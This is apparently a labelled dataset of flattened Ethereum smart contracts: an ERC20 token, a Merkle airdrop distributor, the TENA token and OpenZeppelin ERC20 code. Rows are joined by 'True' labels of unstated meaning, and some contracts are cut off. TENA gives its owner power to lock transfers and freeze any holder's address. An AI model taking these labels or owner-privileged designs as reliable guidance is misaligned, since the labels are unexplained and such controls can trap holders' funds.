function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
require(_to != address(0));
require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract boschcoin is StandardToken {
string public constant name = "boschcoin";
string public constant symbol = "BOSH";
uint8 public constant decimals = 1;
function boschcoin() public {
totalSupply = 999000000;
balances[msg.sender] = totalSupply;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-07
*/
/**
*Submitted for verification at Etherscan.io on 2021-02-02
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-06
*/
// Dependency file: contracts/interfaces/IMerkleDistributor.sol
// pragma solidity ^0.6.10;
// Allows anyone to claim a token if they exist in a merkle root.
interface IMerkleDistributor {
// Returns the address of the token distributed by this contract.
function token() external view returns (address);
// Returns the merkle root of the merkle tree containing account balances available to claim.
function merkleRoot() external view returns (bytes32);
// Returns true if the index has been marked claimed.
function isClaimed(uint256 index) external view returns (bool);
// Claim the given amount of the token to the given address. Reverts if the inputs are invalid.
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external;
// This event is triggered whenever a call to #claim succeeds.
event Claimed(uint256 index, address account, uint256 amount);
}
// Dependency file: @openzeppelin/contracts/cryptography/MerkleProof.sol
// pragma solidity ^0.6.0;
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol
// pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* // importANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.10;
// import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// import { MerkleProof } from "@openzeppelin/contracts/cryptography/MerkleProof.sol";
// import { IMerkleDistributor } from "../interfaces/IMerkleDistributor.sol";
contract MerkleDistributor is IMerkleDistributor {
address public immutable override token;
bytes32 public immutable override merkleRoot;
// This is a packed array of booleans.
mapping(uint256 => uint256) private claimedBitMap;
constructor(address token_, bytes32 merkleRoot_) public {
token = token_;
merkleRoot = merkleRoot_;
}
function isClaimed(uint256 index) public view override returns (bool) {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
uint256 claimedWord = claimedBitMap[claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
function _setClaimed(uint256 index) private {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
}
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external override {
require(!isClaimed(index), "MerkleDistributor: Drop already claimed.");
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
require(MerkleProof.verify(merkleProof, merkleRoot, node), "MerkleDistributor: Invalid proof.");
// Mark it claimed and send the token.
_setClaimed(index);
require(IERC20(token).transfer(account, amount), "MerkleDistributor: Transfer failed.");
emit Claimed(index, account, amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-28
*/
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns(string) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address to,
uint256 value
)
public
onlyMinter
returns (bool)
{
_mint(to, value);
return true;
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor(uint256 cap)
public
{
require(cap > 0);
_cap = cap;
}
/**
* @return the cap for the token minting.
*/
function cap() public view returns(uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap);
super._mint(account, value);
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract BurnerRole {
using Roles for Roles.Role;
event BurnerAdded(address indexed account);
event BurnerRemoved(address indexed account);
Roles.Role private burners;
constructor() internal {
_addBurner(msg.sender);
}
modifier onlyBurner() {
require(isBurner(msg.sender));
_;
}
function isBurner(address account) public view returns (bool) {
return burners.has(account);
}
function addBurner(address account) public onlyBurner {
_addBurner(account);
}
function renounceBurner() public {
_removeBurner(msg.sender);
}
function _addBurner(address account) internal {
burners.add(account);
emit BurnerAdded(account);
}
function _removeBurner(address account) internal {
burners.remove(account);
emit BurnerRemoved(account);
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract ERC20SafeBurnable is ERC20Burnable, BurnerRole {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public onlyBurner {
super._burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public onlyBurner {
super._burnFrom(from, value);
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private pausers;
constructor() internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
pausers.remove(account);
emit PauserRemoved(account);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns(bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
/**
* @title Pausable token
* @dev ERC20 modified with pausable transfers.
**/
contract ERC20Pausable is ERC20, Pausable {
function transfer(
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(from, to, value);
}
function approve(
address spender,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.approve(spender, value);
}
function increaseAllowance(
address spender,
uint addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(
address spender,
uint subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract TENA is Ownable, ERC20Detailed, ERC20Capped, ERC20SafeBurnable, ERC20Pausable {
using SafeMath for uint;
// token variables
string private constant NAME = "TENA";
string private constant SYMBOL = "TENA";
uint8 private constant DECIMALS = 18;
uint private constant TOTAL_SUPPLY = 10000000000; // 10,000,000,000 TENA
// initial lock
bool isTransferable = false;
// freeze address
mapping (address => bool) freezed;
constructor () public
ERC20Detailed(NAME, SYMBOL, DECIMALS)
ERC20Capped(TOTAL_SUPPLY.mul(10 ** uint(DECIMALS))) {
}
function unlock() external onlyOwner {
isTransferable = true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (!isOwner()) {
require(isTransferable);
require(!(freezed[_from] || freezed[_to]));
}
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
if (!isOwner()) {
require(isTransferable);
require(!(freezed[msg.sender] || freezed[_to]));
}
return super.transfer(_to, _value);
}
function freeze(address at) external onlyOwner {
setFreezed(at, true);
}
function unfreeze(address at) external onlyOwner {
setFreezed(at, false);
}
function setFreezed(address at, bool freezing) public onlyOwner {
freezed[at] = freezing;
}
function isFreezed(address at) public view returns (bool) {
return freezed[at];
}
// overload mint
function mint(uint256 value) public onlyMinter returns (bool) {
_mint(msg.sender, value);
return true;
}
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/**
*Submitted for verification at Etherscan.io on 2021-10-21
*/
// Sources flattened with hardhat v2.5.0 https://hardhat.org
// File @openzeppelin/contracts/token/ERC20/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
